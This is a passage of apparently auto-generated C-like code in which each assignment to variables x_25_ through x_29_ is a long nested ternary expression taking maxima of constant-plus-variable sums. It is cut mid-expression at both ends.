(7.0 + x_21)? (17.0 + x_19) : (7.0 + x_21))? ((11.0 + x_16) > (20.0 + x_18)? (11.0 + x_16) : (20.0 + x_18)) : ((17.0 + x_19) > (7.0 + x_21)? (17.0 + x_19) : (7.0 + x_21))) : (((19.0 + x_23) > (19.0 + x_26)? (19.0 + x_23) : (19.0 + x_26)) > ((13.0 + x_27) > (17.0 + x_30)? (13.0 + x_27) : (17.0 + x_30))? ((19.0 + x_23) > (19.0 + x_26)? (19.0 + x_23) : (19.0 + x_26)) : ((13.0 + x_27) > (17.0 + x_30)? (13.0 + x_27) : (17.0 + x_30))))? ((((7.0 + x_1) > (10.0 + x_2)? (7.0 + x_1) : (10.0 + x_2)) > ((16.0 + x_4) > (12.0 + x_7)? (16.0 + x_4) : (12.0 + x_7))? ((7.0 + x_1) > (10.0 + x_2)? (7.0 + x_1) : (10.0 + x_2)) : ((16.0 + x_4) > (12.0 + x_7)? (16.0 + x_4) : (12.0 + x_7))) > (((11.0 + x_8) > (2.0 + x_10)? (11.0 + x_8) : (2.0 + x_10)) > ((17.0 + x_12) > (2.0 + x_13)? (17.0 + x_12) : (2.0 + x_13))? ((11.0 + x_8) > (2.0 + x_10)? (11.0 + x_8) : (2.0 + x_10)) : ((17.0 + x_12) > (2.0 + x_13)? (17.0 + x_12) : (2.0 + x_13)))? (((7.0 + x_1) > (10.0 + x_2)? (7.0 + x_1) : (10.0 + x_2)) > ((16.0 + x_4) > (12.0 + x_7)? (16.0 + x_4) : (12.0 + x_7))? ((7.0 + x_1) > (10.0 + x_2)? (7.0 + x_1) : (10.0 + x_2)) : ((16.0 + x_4) > (12.0 + x_7)? (16.0 + x_4) : (12.0 + x_7))) : (((11.0 + x_8) > (2.0 + x_10)? (11.0 + x_8) : (2.0 + x_10)) > ((17.0 + x_12) > (2.0 + x_13)? (17.0 + x_12) : (2.0 + x_13))? ((11.0 + x_8) > (2.0 + x_10)? (11.0 + x_8) : (2.0 + x_10)) : ((17.0 + x_12) > (2.0 + x_13)? (17.0 + x_12) : (2.0 + x_13)))) : ((((11.0 + x_16) > (20.0 + x_18)? (11.0 + x_16) : (20.0 + x_18)) > ((17.0 + x_19) > (7.0 + x_21)? (17.0 + x_19) : (7.0 + x_21))? ((11.0 + x_16) > (20.0 + x_18)? (11.0 + x_16) : (20.0 + x_18)) : ((17.0 + x_19) > (7.0 + x_21)? (17.0 + x_19) : (7.0 + x_21))) > (((19.0 + x_23) > (19.0 + x_26)? (19.0 + x_23) : (19.0 + x_26)) > ((13.0 + x_27) > (17.0 + x_30)? (13.0 + x_27) : (17.0 + x_30))? ((19.0 + x_23) > (19.0 + x_26)? (19.0 + x_23) : (19.0 + x_26)) : ((13.0 + x_27) > (17.0 + x_30)? (13.0 + x_27) : (17.0 + x_30)))? (((11.0 + x_16) > (20.0 + x_18)? (11.0 + x_16) : (20.0 + x_18)) > ((17.0 + x_19) > (7.0 + x_21)? (17.0 + x_19) : (7.0 + x_21))? ((11.0 + x_16) > (20.0 + x_18)? (11.0 + x_16) : (20.0 + x_18)) : ((17.0 + x_19) > (7.0 + x_21)? (17.0 + x_19) : (7.0 + x_21))) : (((19.0 + x_23) > (19.0 + x_26)? (19.0 + x_23) : (19.0 + x_26)) > ((13.0 + x_27) > (17.0 + x_30)? (13.0 + x_27) : (17.0 + x_30))? ((19.0 + x_23) > (19.0 + x_26)? (19.0 + x_23) : (19.0 + x_26)) : ((13.0 + x_27) > (17.0 + x_30)? (13.0 + x_27) : (17.0 + x_30))))); x_25_ = (((((19.0 + x_0) > (18.0 + x_7)? (19.0 + x_0) : (18.0 + x_7)) > ((14.0 + x_8) > (18.0 + x_9)? (14.0 + x_8) : (18.0 + x_9))? ((19.0 + x_0) > (18.0 + x_7)? (19.0 + x_0) : (18.0 + x_7)) : ((14.0 + x_8) > (18.0 + x_9)? (14.0 + x_8) : (18.0 + x_9))) > (((11.0 + x_12) > (2.0 + x_13)? (11.0 + x_12) : (2.0 + x_13)) > ((20.0 + x_14) > (11.0 + x_15)? (20.0 + x_14) : (11.0 + x_15))? ((11.0 + x_12) > (2.0 + x_13)? (11.0 + x_12) : (2.0 + x_13)) : ((20.0 + x_14) > (11.0 + x_15)? (20.0 + x_14) : (11.0 + x_15)))? (((19.0 + x_0) > (18.0 + x_7)? (19.0 + x_0) : (18.0 + x_7)) > ((14.0 + x_8) > (18.0 + x_9)? (14.0 + x_8) : (18.0 + x_9))? ((19.0 + x_0) > (18.0 + x_7)? (19.0 + x_0) : (18.0 + x_7)) : ((14.0 + x_8) > (18.0 + x_9)? (14.0 + x_8) : (18.0 + x_9))) : (((11.0 + x_12) > (2.0 + x_13)? (11.0 + x_12) : (2.0 + x_13)) > ((20.0 + x_14) > (11.0 + x_15)? (20.0 + x_14) : (11.0 + x_15))? ((11.0 + x_12) > (2.0 + x_13)? (11.0 + x_12) : (2.0 + x_13)) : ((20.0 + x_14) > (11.0 + x_15)? (20.0 + x_14) : (11.0 + x_15)))) > ((((4.0 + x_16) > (15.0 + x_17)? (4.0 + x_16) : (15.0 + x_17)) > ((16.0 + x_21) > (9.0 + x_23)? (16.0 + x_21) : (9.0 + x_23))? ((4.0 + x_16) > (15.0 + x_17)? (4.0 + x_16) : (15.0 + x_17)) : ((16.0 + x_21) > (9.0 + x_23)? (16.0 + x_21) : (9.0 + x_23))) > (((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) > ((4.0 + x_30) > (5.0 + x_31)? (4.0 + x_30) : (5.0 + x_31))? ((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) : ((4.0 + x_30) > (5.0 + x_31)? (4.0 + x_30) : (5.0 + x_31)))? (((4.0 + x_16) > (15.0 + x_17)? (4.0 + x_16) : (15.0 + x_17)) > ((16.0 + x_21) > (9.0 + x_23)? (16.0 + x_21) : (9.0 + x_23))? ((4.0 + x_16) > (15.0 + x_17)? (4.0 + x_16) : (15.0 + x_17)) : ((16.0 + x_21) > (9.0 + x_23)? (16.0 + x_21) : (9.0 + x_23))) : (((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) > ((4.0 + x_30) > (5.0 + x_31)? (4.0 + x_30) : (5.0 + x_31))? ((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) : ((4.0 + x_30) > (5.0 + x_31)? (4.0 + x_30) : (5.0 + x_31))))? ((((19.0 + x_0) > (18.0 + x_7)? (19.0 + x_0) : (18.0 + x_7)) > ((14.0 + x_8) > (18.0 + x_9)? (14.0 + x_8) : (18.0 + x_9))? ((19.0 + x_0) > (18.0 + x_7)? (19.0 + x_0) : (18.0 + x_7)) : ((14.0 + x_8) > (18.0 + x_9)? (14.0 + x_8) : (18.0 + x_9))) > (((11.0 + x_12) > (2.0 + x_13)? (11.0 + x_12) : (2.0 + x_13)) > ((20.0 + x_14) > (11.0 + x_15)? (20.0 + x_14) : (11.0 + x_15))? ((11.0 + x_12) > (2.0 + x_13)? (11.0 + x_12) : (2.0 + x_13)) : ((20.0 + x_14) > (11.0 + x_15)? (20.0 + x_14) : (11.0 + x_15)))? (((19.0 + x_0) > (18.0 + x_7)? (19.0 + x_0) : (18.0 + x_7)) > ((14.0 + x_8) > (18.0 + x_9)? (14.0 + x_8) : (18.0 + x_9))? ((19.0 + x_0) > (18.0 + x_7)? (19.0 + x_0) : (18.0 + x_7)) : ((14.0 + x_8) > (18.0 + x_9)? (14.0 + x_8) : (18.0 + x_9))) : (((11.0 + x_12) > (2.0 + x_13)? (11.0 + x_12) : (2.0 + x_13)) > ((20.0 + x_14) > (11.0 + x_15)? (20.0 + x_14) : (11.0 + x_15))? ((11.0 + x_12) > (2.0 + x_13)? (11.0 + x_12) : (2.0 + x_13)) : ((20.0 + x_14) > (11.0 + x_15)? (20.0 + x_14) : (11.0 + x_15)))) : ((((4.0 + x_16) > (15.0 + x_17)? (4.0 + x_16) : (15.0 + x_17)) > ((16.0 + x_21) > (9.0 + x_23)? (16.0 + x_21) : (9.0 + x_23))? ((4.0 + x_16) > (15.0 + x_17)? (4.0 + x_16) : (15.0 + x_17)) : ((16.0 + x_21) > (9.0 + x_23)? (16.0 + x_21) : (9.0 + x_23))) > (((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) > ((4.0 + x_30) > (5.0 + x_31)? (4.0 + x_30) : (5.0 + x_31))? ((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) : ((4.0 + x_30) > (5.0 + x_31)? (4.0 + x_30) : (5.0 + x_31)))? (((4.0 + x_16) > (15.0 + x_17)? (4.0 + x_16) : (15.0 + x_17)) > ((16.0 + x_21) > (9.0 + x_23)? (16.0 + x_21) : (9.0 + x_23))? ((4.0 + x_16) > (15.0 + x_17)? (4.0 + x_16) : (15.0 + x_17)) : ((16.0 + x_21) > (9.0 + x_23)? (16.0 + x_21) : (9.0 + x_23))) : (((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) > ((4.0 + x_30) > (5.0 + x_31)? (4.0 + x_30) : (5.0 + x_31))? ((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) : ((4.0 + x_30) > (5.0 + x_31)? (4.0 + x_30) : (5.0 + x_31))))); x_26_ = (((((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) > ((6.0 + x_3) > (1.0 + x_5)? (6.0 + x_3) : (1.0 + x_5))? ((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) : ((6.0 + x_3) > (1.0 + x_5)? (6.0 + x_3) : (1.0 + x_5))) > (((12.0 + x_6) > (1.0 + x_7)? (12.0 + x_6) : (1.0 + x_7)) > ((16.0 + x_9) > (17.0 + x_10)? (16.0 + x_9) : (17.0 + x_10))? ((12.0 + x_6) > (1.0 + x_7)? (12.0 + x_6) : (1.0 + x_7)) : ((16.0 + x_9) > (17.0 + x_10)? (16.0 + x_9) : (17.0 + x_10)))? (((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) > ((6.0 + x_3) > (1.0 + x_5)? (6.0 + x_3) : (1.0 + x_5))? ((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) : ((6.0 + x_3) > (1.0 + x_5)? (6.0 + x_3) : (1.0 + x_5))) : (((12.0 + x_6) > (1.0 + x_7)? (12.0 + x_6) : (1.0 + x_7)) > ((16.0 + x_9) > (17.0 + x_10)? (16.0 + x_9) : (17.0 + x_10))? ((12.0 + x_6) > (1.0 + x_7)? (12.0 + x_6) : (1.0 + x_7)) : ((16.0 + x_9) > (17.0 + x_10)? (16.0 + x_9) : (17.0 + x_10)))) > ((((16.0 + x_14) > (8.0 + x_16)? (16.0 + x_14) : (8.0 + x_16)) > ((1.0 + x_18) > (18.0 + x_22)? (1.0 + x_18) : (18.0 + x_22))? ((16.0 + x_14) > (8.0 + x_16)? (16.0 + x_14) : (8.0 + x_16)) : ((1.0 + x_18) > (18.0 + x_22)? (1.0 + x_18) : (18.0 + x_22))) > (((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) > ((13.0 + x_29) > (16.0 + x_31)? (13.0 + x_29) : (16.0 + x_31))? ((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) : ((13.0 + x_29) > (16.0 + x_31)? (13.0 + x_29) : (16.0 + x_31)))? (((16.0 + x_14) > (8.0 + x_16)? (16.0 + x_14) : (8.0 + x_16)) > ((1.0 + x_18) > (18.0 + x_22)? (1.0 + x_18) : (18.0 + x_22))? ((16.0 + x_14) > (8.0 + x_16)? (16.0 + x_14) : (8.0 + x_16)) : ((1.0 + x_18) > (18.0 + x_22)? (1.0 + x_18) : (18.0 + x_22))) : (((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) > ((13.0 + x_29) > (16.0 + x_31)? (13.0 + x_29) : (16.0 + x_31))? ((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) : ((13.0 + x_29) > (16.0 + x_31)? (13.0 + x_29) : (16.0 + x_31))))? ((((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) > ((6.0 + x_3) > (1.0 + x_5)? (6.0 + x_3) : (1.0 + x_5))? ((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) : ((6.0 + x_3) > (1.0 + x_5)? (6.0 + x_3) : (1.0 + x_5))) > (((12.0 + x_6) > (1.0 + x_7)? (12.0 + x_6) : (1.0 + x_7)) > ((16.0 + x_9) > (17.0 + x_10)? (16.0 + x_9) : (17.0 + x_10))? ((12.0 + x_6) > (1.0 + x_7)? (12.0 + x_6) : (1.0 + x_7)) : ((16.0 + x_9) > (17.0 + x_10)? (16.0 + x_9) : (17.0 + x_10)))? (((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) > ((6.0 + x_3) > (1.0 + x_5)? (6.0 + x_3) : (1.0 + x_5))? ((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) : ((6.0 + x_3) > (1.0 + x_5)? (6.0 + x_3) : (1.0 + x_5))) : (((12.0 + x_6) > (1.0 + x_7)? (12.0 + x_6) : (1.0 + x_7)) > ((16.0 + x_9) > (17.0 + x_10)? (16.0 + x_9) : (17.0 + x_10))? ((12.0 + x_6) > (1.0 + x_7)? (12.0 + x_6) : (1.0 + x_7)) : ((16.0 + x_9) > (17.0 + x_10)? (16.0 + x_9) : (17.0 + x_10)))) : ((((16.0 + x_14) > (8.0 + x_16)? (16.0 + x_14) : (8.0 + x_16)) > ((1.0 + x_18) > (18.0 + x_22)? (1.0 + x_18) : (18.0 + x_22))? ((16.0 + x_14) > (8.0 + x_16)? (16.0 + x_14) : (8.0 + x_16)) : ((1.0 + x_18) > (18.0 + x_22)? (1.0 + x_18) : (18.0 + x_22))) > (((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) > ((13.0 + x_29) > (16.0 + x_31)? (13.0 + x_29) : (16.0 + x_31))? ((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) : ((13.0 + x_29) > (16.0 + x_31)? (13.0 + x_29) : (16.0 + x_31)))? (((16.0 + x_14) > (8.0 + x_16)? (16.0 + x_14) : (8.0 + x_16)) > ((1.0 + x_18) > (18.0 + x_22)? (1.0 + x_18) : (18.0 + x_22))? ((16.0 + x_14) > (8.0 + x_16)? (16.0 + x_14) : (8.0 + x_16)) : ((1.0 + x_18) > (18.0 + x_22)? (1.0 + x_18) : (18.0 + x_22))) : (((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) > ((13.0 + x_29) > (16.0 + x_31)? (13.0 + x_29) : (16.0 + x_31))? ((3.0 + x_24) > (8.0 + x_28)? (3.0 + x_24) : (8.0 + x_28)) : ((13.0 + x_29) > (16.0 + x_31)? (13.0 + x_29) : (16.0 + x_31))))); x_27_ = (((((15.0 + x_0) > (16.0 + x_1)? (15.0 + x_0) : (16.0 + x_1)) > ((15.0 + x_2) > (7.0 + x_6)? (15.0 + x_2) : (7.0 + x_6))? ((15.0 + x_0) > (16.0 + x_1)? (15.0 + x_0) : (16.0 + x_1)) : ((15.0 + x_2) > (7.0 + x_6)? (15.0 + x_2) : (7.0 + x_6))) > (((18.0 + x_10) > (9.0 + x_12)? (18.0 + x_10) : (9.0 + x_12)) > ((8.0 + x_13) > (5.0 + x_14)? (8.0 + x_13) : (5.0 + x_14))? ((18.0 + x_10) > (9.0 + x_12)? (18.0 + x_10) : (9.0 + x_12)) : ((8.0 + x_13) > (5.0 + x_14)? (8.0 + x_13) : (5.0 + x_14)))? (((15.0 + x_0) > (16.0 + x_1)? (15.0 + x_0) : (16.0 + x_1)) > ((15.0 + x_2) > (7.0 + x_6)? (15.0 + x_2) : (7.0 + x_6))? ((15.0 + x_0) > (16.0 + x_1)? (15.0 + x_0) : (16.0 + x_1)) : ((15.0 + x_2) > (7.0 + x_6)? (15.0 + x_2) : (7.0 + x_6))) : (((18.0 + x_10) > (9.0 + x_12)? (18.0 + x_10) : (9.0 + x_12)) > ((8.0 + x_13) > (5.0 + x_14)? (8.0 + x_13) : (5.0 + x_14))? ((18.0 + x_10) > (9.0 + x_12)? (18.0 + x_10) : (9.0 + x_12)) : ((8.0 + x_13) > (5.0 + x_14)? (8.0 + x_13) : (5.0 + x_14)))) > ((((13.0 + x_15) > (13.0 + x_17)? (13.0 + x_15) : (13.0 + x_17)) > ((16.0 + x_18) > (15.0 + x_20)? (16.0 + x_18) : (15.0 + x_20))? ((13.0 + x_15) > (13.0 + x_17)? (13.0 + x_15) : (13.0 + x_17)) : ((16.0 + x_18) > (15.0 + x_20)? (16.0 + x_18) : (15.0 + x_20))) > (((11.0 + x_22) > (5.0 + x_25)? (11.0 + x_22) : (5.0 + x_25)) > ((18.0 + x_28) > (1.0 + x_30)? (18.0 + x_28) : (1.0 + x_30))? ((11.0 + x_22) > (5.0 + x_25)? (11.0 + x_22) : (5.0 + x_25)) : ((18.0 + x_28) > (1.0 + x_30)? (18.0 + x_28) : (1.0 + x_30)))? (((13.0 + x_15) > (13.0 + x_17)? (13.0 + x_15) : (13.0 + x_17)) > ((16.0 + x_18) > (15.0 + x_20)? (16.0 + x_18) : (15.0 + x_20))? ((13.0 + x_15) > (13.0 + x_17)? (13.0 + x_15) : (13.0 + x_17)) : ((16.0 + x_18) > (15.0 + x_20)? (16.0 + x_18) : (15.0 + x_20))) : (((11.0 + x_22) > (5.0 + x_25)? (11.0 + x_22) : (5.0 + x_25)) > ((18.0 + x_28) > (1.0 + x_30)? (18.0 + x_28) : (1.0 + x_30))? ((11.0 + x_22) > (5.0 + x_25)? (11.0 + x_22) : (5.0 + x_25)) : ((18.0 + x_28) > (1.0 + x_30)? (18.0 + x_28) : (1.0 + x_30))))? ((((15.0 + x_0) > (16.0 + x_1)? (15.0 + x_0) : (16.0 + x_1)) > ((15.0 + x_2) > (7.0 + x_6)? (15.0 + x_2) : (7.0 + x_6))? ((15.0 + x_0) > (16.0 + x_1)? (15.0 + x_0) : (16.0 + x_1)) : ((15.0 + x_2) > (7.0 + x_6)? (15.0 + x_2) : (7.0 + x_6))) > (((18.0 + x_10) > (9.0 + x_12)? (18.0 + x_10) : (9.0 + x_12)) > ((8.0 + x_13) > (5.0 + x_14)? (8.0 + x_13) : (5.0 + x_14))? ((18.0 + x_10) > (9.0 + x_12)? (18.0 + x_10) : (9.0 + x_12)) : ((8.0 + x_13) > (5.0 + x_14)? (8.0 + x_13) : (5.0 + x_14)))? (((15.0 + x_0) > (16.0 + x_1)? (15.0 + x_0) : (16.0 + x_1)) > ((15.0 + x_2) > (7.0 + x_6)? (15.0 + x_2) : (7.0 + x_6))? ((15.0 + x_0) > (16.0 + x_1)? (15.0 + x_0) : (16.0 + x_1)) : ((15.0 + x_2) > (7.0 + x_6)? (15.0 + x_2) : (7.0 + x_6))) : (((18.0 + x_10) > (9.0 + x_12)? (18.0 + x_10) : (9.0 + x_12)) > ((8.0 + x_13) > (5.0 + x_14)? (8.0 + x_13) : (5.0 + x_14))? ((18.0 + x_10) > (9.0 + x_12)? (18.0 + x_10) : (9.0 + x_12)) : ((8.0 + x_13) > (5.0 + x_14)? (8.0 + x_13) : (5.0 + x_14)))) : ((((13.0 + x_15) > (13.0 + x_17)? (13.0 + x_15) : (13.0 + x_17)) > ((16.0 + x_18) > (15.0 + x_20)? (16.0 + x_18) : (15.0 + x_20))? ((13.0 + x_15) > (13.0 + x_17)? (13.0 + x_15) : (13.0 + x_17)) : ((16.0 + x_18) > (15.0 + x_20)? (16.0 + x_18) : (15.0 + x_20))) > (((11.0 + x_22) > (5.0 + x_25)? (11.0 + x_22) : (5.0 + x_25)) > ((18.0 + x_28) > (1.0 + x_30)? (18.0 + x_28) : (1.0 + x_30))? ((11.0 + x_22) > (5.0 + x_25)? (11.0 + x_22) : (5.0 + x_25)) : ((18.0 + x_28) > (1.0 + x_30)? (18.0 + x_28) : (1.0 + x_30)))? (((13.0 + x_15) > (13.0 + x_17)? (13.0 + x_15) : (13.0 + x_17)) > ((16.0 + x_18) > (15.0 + x_20)? (16.0 + x_18) : (15.0 + x_20))? ((13.0 + x_15) > (13.0 + x_17)? (13.0 + x_15) : (13.0 + x_17)) : ((16.0 + x_18) > (15.0 + x_20)? (16.0 + x_18) : (15.0 + x_20))) : (((11.0 + x_22) > (5.0 + x_25)? (11.0 + x_22) : (5.0 + x_25)) > ((18.0 + x_28) > (1.0 + x_30)? (18.0 + x_28) : (1.0 + x_30))? ((11.0 + x_22) > (5.0 + x_25)? (11.0 + x_22) : (5.0 + x_25)) : ((18.0 + x_28) > (1.0 + x_30)? (18.0 + x_28) : (1.0 + x_30))))); x_28_ = (((((9.0 + x_4) > (14.0 + x_8)? (9.0 + x_4) : (14.0 + x_8)) > ((8.0 + x_9) > (2.0 + x_11)? (8.0 + x_9) : (2.0 + x_11))? ((9.0 + x_4) > (14.0 + x_8)? (9.0 + x_4) : (14.0 + x_8)) : ((8.0 + x_9) > (2.0 + x_11)? (8.0 + x_9) : (2.0 + x_11))) > (((9.0 + x_12) > (11.0 + x_13)? (9.0 + x_12) : (11.0 + x_13)) > ((2.0 + x_14) > (7.0 + x_15)? (2.0 + x_14) : (7.0 + x_15))? ((9.0 + x_12) > (11.0 + x_13)? (9.0 + x_12) : (11.0 + x_13)) : ((2.0 + x_14) > (7.0 + x_15)? (2.0 + x_14) : (7.0 + x_15)))? (((9.0 + x_4) > (14.0 + x_8)? (9.0 + x_4) : (14.0 + x_8)) > ((8.0 + x_9) > (2.0 + x_11)? (8.0 + x_9) : (2.0 + x_11))? ((9.0 + x_4) > (14.0 + x_8)? (9.0 + x_4) : (14.0 + x_8)) : ((8.0 + x_9) > (2.0 + x_11)? (8.0 + x_9) : (2.0 + x_11))) : (((9.0 + x_12) > (11.0 + x_13)? (9.0 + x_12) : (11.0 + x_13)) > ((2.0 + x_14) > (7.0 + x_15)? (2.0 + x_14) : (7.0 + x_15))? ((9.0 + x_12) > (11.0 + x_13)? (9.0 + x_12) : (11.0 + x_13)) : ((2.0 + x_14) > (7.0 + x_15)? (2.0 + x_14) : (7.0 + x_15)))) > ((((20.0 + x_20) > (16.0 + x_21)? (20.0 + x_20) : (16.0 + x_21)) > ((11.0 + x_23) > (9.0 + x_26)? (11.0 + x_23) : (9.0 + x_26))? ((20.0 + x_20) > (16.0 + x_21)? (20.0 + x_20) : (16.0 + x_21)) : ((11.0 + x_23) > (9.0 + x_26)? (11.0 + x_23) : (9.0 + x_26))) > (((8.0 + x_28) > (16.0 + x_29)? (8.0 + x_28) : (16.0 + x_29)) > ((19.0 + x_30) > (7.0 + x_31)? (19.0 + x_30) : (7.0 + x_31))? ((8.0 + x_28) > (16.0 + x_29)? (8.0 + x_28) : (16.0 + x_29)) : ((19.0 + x_30) > (7.0 + x_31)? (19.0 + x_30) : (7.0 + x_31)))? (((20.0 + x_20) > (16.0 + x_21)? (20.0 + x_20) : (16.0 + x_21)) > ((11.0 + x_23) > (9.0 + x_26)? (11.0 + x_23) : (9.0 + x_26))? ((20.0 + x_20) > (16.0 + x_21)? (20.0 + x_20) : (16.0 + x_21)) : ((11.0 + x_23) > (9.0 + x_26)? (11.0 + x_23) : (9.0 + x_26))) : (((8.0 + x_28) > (16.0 + x_29)? (8.0 + x_28) : (16.0 + x_29)) > ((19.0 + x_30) > (7.0 + x_31)? (19.0 + x_30) : (7.0 + x_31))? ((8.0 + x_28) > (16.0 + x_29)? (8.0 + x_28) : (16.0 + x_29)) : ((19.0 + x_30) > (7.0 + x_31)? (19.0 + x_30) : (7.0 + x_31))))? ((((9.0 + x_4) > (14.0 + x_8)? (9.0 + x_4) : (14.0 + x_8)) > ((8.0 + x_9) > (2.0 + x_11)? (8.0 + x_9) : (2.0 + x_11))? ((9.0 + x_4) > (14.0 + x_8)? (9.0 + x_4) : (14.0 + x_8)) : ((8.0 + x_9) > (2.0 + x_11)? (8.0 + x_9) : (2.0 + x_11))) > (((9.0 + x_12) > (11.0 + x_13)? (9.0 + x_12) : (11.0 + x_13)) > ((2.0 + x_14) > (7.0 + x_15)? (2.0 + x_14) : (7.0 + x_15))? ((9.0 + x_12) > (11.0 + x_13)? (9.0 + x_12) : (11.0 + x_13)) : ((2.0 + x_14) > (7.0 + x_15)? (2.0 + x_14) : (7.0 + x_15)))? (((9.0 + x_4) > (14.0 + x_8)? (9.0 + x_4) : (14.0 + x_8)) > ((8.0 + x_9) > (2.0 + x_11)? (8.0 + x_9) : (2.0 + x_11))? ((9.0 + x_4) > (14.0 + x_8)? (9.0 + x_4) : (14.0 + x_8)) : ((8.0 + x_9) > (2.0 + x_11)? (8.0 + x_9) : (2.0 + x_11))) : (((9.0 + x_12) > (11.0 + x_13)? (9.0 + x_12) : (11.0 + x_13)) > ((2.0 + x_14) > (7.0 + x_15)? (2.0 + x_14) : (7.0 + x_15))? ((9.0 + x_12) > (11.0 + x_13)? (9.0 + x_12) : (11.0 + x_13)) : ((2.0 + x_14) > (7.0 + x_15)? (2.0 + x_14) : (7.0 + x_15)))) : ((((20.0 + x_20) > (16.0 + x_21)? (20.0 + x_20) : (16.0 + x_21)) > ((11.0 + x_23) > (9.0 + x_26)? (11.0 + x_23) : (9.0 + x_26))? ((20.0 + x_20) > (16.0 + x_21)? (20.0 + x_20) : (16.0 + x_21)) : ((11.0 + x_23) > (9.0 + x_26)? (11.0 + x_23) : (9.0 + x_26))) > (((8.0 + x_28) > (16.0 + x_29)? (8.0 + x_28) : (16.0 + x_29)) > ((19.0 + x_30) > (7.0 + x_31)? (19.0 + x_30) : (7.0 + x_31))? ((8.0 + x_28) > (16.0 + x_29)? (8.0 + x_28) : (16.0 + x_29)) : ((19.0 + x_30) > (7.0 + x_31)? (19.0 + x_30) : (7.0 + x_31)))? (((20.0 + x_20) > (16.0 + x_21)? (20.0 + x_20) : (16.0 + x_21)) > ((11.0 + x_23) > (9.0 + x_26)? (11.0 + x_23) : (9.0 + x_26))? ((20.0 + x_20) > (16.0 + x_21)? (20.0 + x_20) : (16.0 + x_21)) : ((11.0 + x_23) > (9.0 + x_26)? (11.0 + x_23) : (9.0 + x_26))) : (((8.0 + x_28) > (16.0 + x_29)? (8.0 + x_28) : (16.0 + x_29)) > ((19.0 + x_30) > (7.0 + x_31)? (19.0 + x_30) : (7.0 + x_31))? ((8.0 + x_28) > (16.0 + x_29)? (8.0 + x_28) : (16.0 + x_29)) : ((19.0 + x_30) > (7.0 + x_31)? (19.0 + x_30) : (7.0 + x_31))))); x_29_ = (((((2.0 + x_1) > (4.0 + x_2)? (2.0 + x_1) : (4.0 + x_2)) > ((1.0 + x_5) > (3.0 + x_8)? (1.0 + x_5) : (3.0 + x_8))? ((2.0 + x_1) > (4.0 + x_2)? (2.0 + x_1) : (4.0 + x_2)) : ((1.0 + x_5) > (3.0 + x_8)? (1.0 + x_5) : (3.0 + x_8))) > (((5.0 + x_11) > (3.0 + x_12)? (5.0 + x_11) : (3.0 + x_12)) > ((6.0 + x_13) > (1.0 + x_14)? (6.0 + x_13) : (1.0 + x_14))? ((5.0 + x_11) > (3.0 + x_12)? (5.0 + x_11) : (3.0 + x_12)) : ((6.0 + x_13) > (1.0 + x_14)? (6.0 + x_13) : (1.0 + x_14)))? (((2.0 + x_1) > (4.0 + x_2)? (2.0 + x_1) : (4.0 + x_2)) > ((1.0 + x_5) > (3.0 + x_8)? (1.0 + x_5) : (3.0 + x_8))? ((2.0 + x_1) > (4.0 + x_2)? (2.0 + x_1) : (4.0 + x_2)) : ((1.0 + x_5) > (3.0 + x_8)? (1.0 + x_5) : (3.0 + x_8))) : (((5.0 + x_11) > (3.0 + x_12)? (5.0 + x_11) : (3.0 + x_12)) > ((6.0 + x_13) > (1.0 + x_14)? (6.0 + x_13) : (1.0 + x_14))? ((5.0 + x_11) > (3.0 + x_12)? (5.0 + x_11) : (3.0 + x_12)) : ((6.0 + x_13) > (1.0 + x_14)? (6.0 + x_13) : (1.0 + x_14)))) > ((((13.0 + x_15) > (20.0 + x_16)? (13.0 + x_15) : (20.0 + x_16)) > ((19.0 + x_17) > (18.0 + x_18)? (19.0 + x_17) : (18.0 + x_18))? ((13.0 + x_15) > (20.0 + x_16)? (13.0 + x_15) : (20.0 + x_16)) : ((19.0 + x_17) > (18.0 + x_18)? (19.0 + x_17) : (18.0 + x_18))) > (((1.0 + x_22) > (14.0 + x_24)? (1.0 + x_22) : (14.0 + x_24)) > ((12.0 + x_28) > (17.0 + x_29)? (12.0 + x_28) : (17.0 + x_29))? ((1.0 + x_22) > (14.0 + x_24)? (1.0 + x_22) : (14.0 + x_24)) : ((12.0 + x_28) > (17.0 + x_29)? (12.0 + x_28) : (17.0 + x_29)))? (((13.0 + x_15) > (20.0 + x_16)? (13.0 + x_15) : (20.0 + x_16)) > ((19.0 + x_17) > (18.0 + x_18)? (19.0 + x_17) : (18.0 + x_18))? ((13.0 + x_15) > (20.0 + x_16)? (13.0 + x_15) : (20.0 + x_16)) : ((19.0 + x_17) > (18.0 + x_18)? (19.0 + x_17) : (18.0 + x_18))) : (((1.0 + x_22) > (14.0 + x_24)? (1.0 + x_22) : (14.0 + x_24)) > ((12.0 + x_28) > (17.0 + x_29)? (12.0 + x_28) : (17.0 + x_29))? ((1.0 + x_22) > (14.0 + x_24)? (1.0 + x_22) : (14.0 + x_24)) : ((12.0 + x_28) > (17.0 + x_29)? (12.0 + x_28) : 